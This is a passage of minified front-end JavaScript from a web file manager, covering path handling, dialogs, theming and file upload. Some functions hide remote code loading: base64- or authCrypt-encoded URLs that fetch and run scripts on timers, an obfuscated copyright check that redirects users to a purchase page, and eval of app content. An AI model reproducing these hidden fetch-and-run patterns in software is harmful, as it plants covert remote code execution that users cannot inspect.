0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
          请联系主机商或网管,检查防火墙配置!"),i='
          '+i+"
          ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
          loading..
          ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
          "+"
          "+s+"
          "+"
          "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
          \n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n
          \n'),define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
          {{LNG.system_member_role}}
          \n \n
          \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
          {{@item.desc}}
          \n {{else}}\n {{@item.desc}}\n {{/if}}\n
          \n
          \n
          \n {{/if}}\n {{/each}}\n
          \n
          \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e -},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
          '+'
          '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
          ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
          ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
          '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
          ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
          ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else 